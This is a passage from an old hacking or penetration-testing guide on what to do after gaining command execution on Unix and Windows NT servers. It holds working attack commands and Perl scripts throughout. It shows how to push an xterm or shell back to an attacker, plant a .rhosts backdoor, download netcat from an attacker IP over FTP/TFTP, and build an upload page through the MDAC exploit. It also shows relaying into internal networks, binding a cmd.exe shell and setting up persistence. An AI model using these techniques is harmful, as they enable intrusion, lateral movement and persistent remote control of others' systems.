Unix

Unix
If you have found some way to execute a command on a Unix box, but there's no port 23 open - don't despair - you could try to export an xterm to your box (assuming that you are running an X-server, and you do not block incoming traffic on port 6000).
> xhost +victim
> your_exploit victim "/usr/X11R6/bin/xterm -display attacker:0.0&"
The above-mentioned command will export an xterm to your server (provided that xterm is located in /usr/X11R6/bin).
Say you want to rlogin to the host, and want to modify the relevant files to be able to rlogin to the host:
> your_exploit victim "echo + + >> /.rhosts"
> rlogin -l root victim
The possibilities are endless. You might want to add a UID 0, GID 0 user to the password file, with a blank password, then telnet and become root. Once you can execute a command on a UNIX host there should be no reason to be able to compromise the host.
We are assuming that the command is executed with "root" rights. If this is not the case, things can get slightly more difficult. Keep in mind that normal users cannot have processes that listens on ports lower than 1024. If you plan to get a shell spawning netcat make sure it listens on a port higher than 1024.

What to execute?

What to execute?
A tool that I like using once command line access has been gained on a NT box is FSCAN.EXE (get it at Packetstorm or at www.sensepost.com/book/fscan.exe). It is a nifty command line portscanner that is packed with features. Once compromised, this portscanner is uploaded, and scanning on the rest of the network can begin. Make sure that you know where to scan - study your surroundings, like explained earlier. Let us look at an example:
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o c:\inetpub\wwwroot\sportscan.txt
Above portscan will identify all host running webservers, telnet daemons and MS-SQL, and will send the output directly to a file called sportscan.txt that is located in the webroot -ready to be surfed. The output of such a scan could look like this:
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp 169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
From this portscan we can neatly identify potential "next hop" servers. If we assume that 169.xxx.201.4 is located in the private network (and that the host where this scan was executed from is in the DMZ) it makes sense to try to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to compromise this host - that will give us access to resources on the private network. It might even be interesting to see what is running on the MS-SQL part of the server. We now want to be able to fire up SQL Enterprise server, hop via the compromised host right onto the SQL port on 169.xxx.201.4 (assuming of course that we cannot go there direct). How is this accomplished? One way could be to hook two instances of netcat together - something like nc -l -p 53 -e 'nc 169.xxx.201.4 1443', but I have found that this method does not work that nice in all situations. Courtesy of a good friend of mine (you know who you are) enter TCPR.EXE. Tcpr.exe takes 4 arguments:
tcpr
Tcpr starts to listen on listenPort, relaying (on a network level) all traffic to destinationIP on port destinationPort. Before it relays a connection it checks for the existence of killfile, and if so, it exists very quietly. The killfile is only there to make it easy to kill the relay as there is no kill `ps -ax | grep tcpr | awk '{print $1}'` available in the standard NT distribution. With tcpr we can now redirect traffic on a non-filtered port on the first host to a port on the next victim. The TCPR.EXE program and source is available at www.sensepost.com/book/tcp.zip. (note: yeah I know its not there – ask me for it and I’ll send it to you).
Keeping all of above in mind, we could reach the SQL server by uploading tcpr.exe to the victim and executing the following command (let us assume that the site is vulnerable to the Unicode exploit - the attacker is using my Unicode PERL exploit, port 53 is not filtered, and tcpr.exe has been uploaded to c:\temp using the upload page):
perl unicodexecute2.pl :80 'c:\temp\tcpr 53 169.xxx.201.4 1443 c:\blah.txt'
Pointing your SQL enterprise manager to on port 53 will now reach the SQL server running on the inside of the private network. Assuming a blank SA password, we are home free. When we are finished with the SQL server, and now want to attack the webserver we simple do:
perl unicodexecute2.pl :80 'echo aaa > c:\blah.txt'
telnet 53
perl unicodexecute2.pl :80 'del c:\blah.txt'
perl unicodexecute2.pl :80 'c:\temp\tcpr 53 169.xxx.201.4 80 c:\blah.txt'
Using this technique we can now "daisy chain" several exploitable IIS servers together, reaching deep within a network. If we assume that the server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the server would be as simple as:
perl rfpnew.pl -h -p 53 -C ''
By simply modifying the convert.pl script mentioned earlier to point to port 53, we can start to build the upload page on the internal server, and the cycle continues. If you struggle to keep track on what server you are working don't despair, it happens.

Port 80 and port 139 open.

Port 80 and port 139 open.
In this situation, let us assume that port 80 is open but no exploitable scripts or weaknesses are to be found, but that we have administrator right via NetBIOS. Uploading a program is trivial - we use NetBIOS. A simple way to execute a program is to use the NT remote user administration tool and to elevate the IUSR_machine user to administrator level. The next step is to make a copy of cmd.exe in the ../scripts directory and then simply calling cmd.exe with parameters from a browser. An easy way of doing this via command line is by using the following PERL script:
#!/usr/bin/perl
use Socket;
if ($#ARGV<1) {die "Usage: execute IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$command=@ARGV[1];
print "Executing $command on $host:$port\n";
$command=~s/ /\%20/g;
$target = inet_aton($host);
# ---------------send the command
my @results=sendraw("GET /scripts/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
This script simply executes commands found in the second parameter using the copied cmd.exe in the scripts directory. With the IUSR_machine user elevated to administrator rights, all commands can be executed.

Port 80 open and can execute

Port 80 open and can execute
Here's where things start to become more interesting. By "and can execute" I mean that you have some way of executing a command - be that via the Unicode exploit, an exploitable script, or MDAC. The easy way to get software on the host is to FTP it. Typically you will have the toolbox situated on your machine, and the host will FTP it from you. As such you will need an automated FTP script - you cannot open an FTP session directly as it is interactive and you probably do not have that functionality. To build an FTP script execute the following commands:
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
Where 160.124.19.98 is your IP number. Remember that you can execute multiple command by appending a "&" between commands. This script is very simple and will not be explained in detail as such. There are some problems with this method though. It makes use of FTP - it might be that active FTP reverse connections are not allowed into the network - NT has no support for passive FTP. It might also be that the machine is simply firewalled and it cannot make connections to the outside. A variation on it is TFTP - much easier. It uses UDP and it could be that the firewall allows UDP to travel within the network. The same it achieved by executing the following on the host:
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
As there is no redirection of command it makes it a preferred method for certain exploits (remember when no one could figure out how to do redirects with Unicode?). There is yet another way of doing it - this time via rcp (yes NT does have it):
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
For this to work you will need to have the victim's machine in your .rhosts and rsh service running. Remote copy uses TCP, but there is no reverse connection to be worried about. Above two examples does not use any authentication - make sure you close your firewall and/or services after the attack!
In these examples one always assume that the host (victim) may establish some kind of connection to the attacker's machine. Yet, in some cases the host cannot do this - due to tight firewalling. Thus - the host cannot initiate a connection - the only allowed traffic is coming from outside (and only on selected ports). A tricky situation. Let us assume that we can only execute a command - via something like the MDAC exploit (thus via HTTP(s)). The only way to upload information is thus via HTTP. We can execute a command - we can write a file (with redirection). The idea is thus to write a page - an ASP/HTML page that will facilitate a file upload. This is easier said then done as most servers needs some server side components in order to achieve this. We need an ASP-only page, a page that does not need any server side components. Furthermore we sitting with the problem that most HTML/ASP pages contains characters that will "break" a file redirection - a ">" for instance. The command echo >> c:\inetpub\wwwroot\upload.htm wont work. Luckily there are some escape characters even in good old DOS. We need a script that will convert all potential "difficult" characters into their escaped version, and will then execute a "echo" command - appending it all together to form our page. Such a script (in PERL) looks like this:
#!/usr/local/bin/perl
# usage: convert
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while() {
s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char
s/([\x0D\x0A])//g; # Filter \r, \n chars
s/\|/\^\|chr\(124\)\|/g; # Convert | chars
s/\"/\^\|chr\(34\)\|/g; # Convert " chars
s/\{/\^\|chr\(123\)\|/g; # Convert { chars
s/\&/\^\|chr\(38\)\|/g; # Convert & chars
system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >> c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
This script (which was butchered from some other PERL script by Scrippie/Phreak) takes two arguments - the first is the file that needs to be uploaded, the second the target/victim host's IP number. It makes use of another script - rfpnew.pl - a hack of the popular MDAC exploit by Rain Forrest Puppy with extra functionality to specify the port number and to pass the command to be executed as parameter. The convert script will create a file with the same filename as the one specified in c:\. It simply reads every line from the source file, converts all difficult characters and appends the "converted" line to the file on the target. The PERL script rfpnew.pl (its a nasty hack - don't you dare look at the code) can be found on www.sensepost.com/book/rfpnew.pl. It don't list it here only because it rather large.The only part missing here is the actual file that is needed for uploading. After some searches on the Internet, I got hold of a .ASP & .INC file pair that neatly facilitates uploading to a server - without any server side components (credit to those that wrote it - I can not remember where I got it from). Once these two files are "built" (using above script) and transferred into the webroot, one can simply point ones browser to the correct URL and upload a toolbox via HTTP. The files upload.asp and upload.inc is to be found at www.sensepost.com/book/upload.asp and www.sensepost.com/book/upload.inc (I don't list them here because they are quite large). Be sure to move the uploaded files to the right spot - keep them in the same directory, and keep the filenames the same -upload.asp and upload.inc, unless you want to meddle with the ASP and INC files.
In a nutshell (for the script kids):
• get upload.asp, upload.inc and rfpnew.pl from the site.
• cut & paste the converter script to convert.pl and put it in the same directory
• perl convert upload.asp
• perl convert upload.inc
• perl rfpnew.pl -h -p 80 -C 'move c:\upload.asp \upload.asp'
• perl rfpnew.pl -h -p 80 -C 'move c:\upload.inc \upload.inc.
• surf to http://target/upload.asp.
• upload your good stuff
• inhale/exhale
The next step would be to execute something on the host. With the uploader in place, the obvious choice would be to upload netcat, and to thus create a DOS shell. In an environment where the host/target is not tightly firewalled this is a good idea. Where the host/target only has port 80 (or 443) open it is not such a good choice. See netcat has to listen on a port and since the only port open is 80, we can't use it. Technically speaking we can "bump" off the server and have netcat listening there, but this would just cause the administrator to investigate (as the website is now down). Note to keen developer - build a netcat like tool that will recognize an HTTP request - pass it on to the server (listening on another port) and pass other stuff straight to cmd.exe. In a situation where we cannot use netcat, our "tool" needs to be command line driven, and needs to be able to either create files as output, or to output results to standard out - where it can be redirected to a file. These files could simply be created directly into the webroot - in this way the attacker can view her results in a webbrowser. One now begin to understand the merit of command line port scanners (for NT) and things like windump that does not need any registry changes or install shields.
If the host is not tightly firewalled the obvious choice is netcat. Some default installations of Firewall-1 allows TCP communication to port 53 - it does makes sense to have netcat listening on that port in such cases (do a portscan to make sure... duh):
(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit)
perl rfpnew.pl -h -p 80 -C 'c:\temp\nc.exe -l -p 53 -e cmd.exe'
telnet 53
Trying ...
Connected to .
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
The only thing that netcat really is doing is making it faster and easier to execute command line commands. Netcat also helps in situations where one does not have the luxury of time - such as in the examples where you only have NetBIOS access. To ensure that you keep connectivity with the target you might want to execute a "netcat -L -p 53 -e cmd.exe" sitting in /winnt/system32/setup.exe as explained (you could execute it from a batch file and convert the batch file to an EXE). When the host reboots it will be listening on port 53 for incoming connections. All you need to do is to probe port 53 continuously.

Port 21 open

Port 21 open
With only FTP open you will have a tougher time. If you have administrator rights you could still copy an executable into the correct directory - see 1, but you will not have the ability to reboot the host - you will have to wait until someone reboots it. You might want to try a D.O.S attack on the machine, but usually it will just hang (which is suspect, but will speed up a manual reboot). If you do not have administrator rights chances are slimmer - you need to upload a Trojan - again, be very careful what you upload - most machines nowadays have virus scanners. You could try to wrap netcat as something that the administrator will be tempted to execute - you know the drill - pamela.exe or whatever. If you do not make use of a known Trojan and there is no way for your custom Trojan to let you know that it was executed you will need some mechanism of checking if the program was executed - a (local) netcat in a loop with mail notification perhaps?

Only port 139 open - administrator rights.

Only port 139 open - administrator rights.
Copy the executable into :/winnt/system32/, and rename it to setup.exe. Now you have the choice of waiting for the system to reboot (NT have a history of doing this every now and again), or you could reboot the machine remotely. How? With a tool called psshutdown.exe. You can find it at http://www.sysinternals.com/psshutdown.htm. Note that you need administrator rights to be able to a) copy the software into the winnt/system32 directory and b) reboot the box remotely. Make sure that your choice of executable is well thought through - since you have NetBIOS access to the system you might want to check if there is any anti-virus software installed - if so - do not try to execute a Trojan such as Subseven/Netbus/BO - it will just screw up. Stick with netcat (see later). There are other ways to execute something at startup - with NetBIOS access you could also remotely edit the registry.
If you don't have administrator rights - read the next section - the same applies here.

Windows

Windows
We are faced with two distinct different problems - getting the tools on the host, and executing it. Getting the tools on the host could be as easy as FTP-ing it to the host (should a FTP server be running and we have a username and password - or anonymous FTP). If we have NetBIOS access to the host we can simply copy the software. If we just have NetBIOS access to the host - how do we execute the software? As you can see things are never as easy as it seems. Let us look at these problems by examining a few scenarios: (you will need to read all the sections as they really form one part - I refer to some things that is only contained in other parts)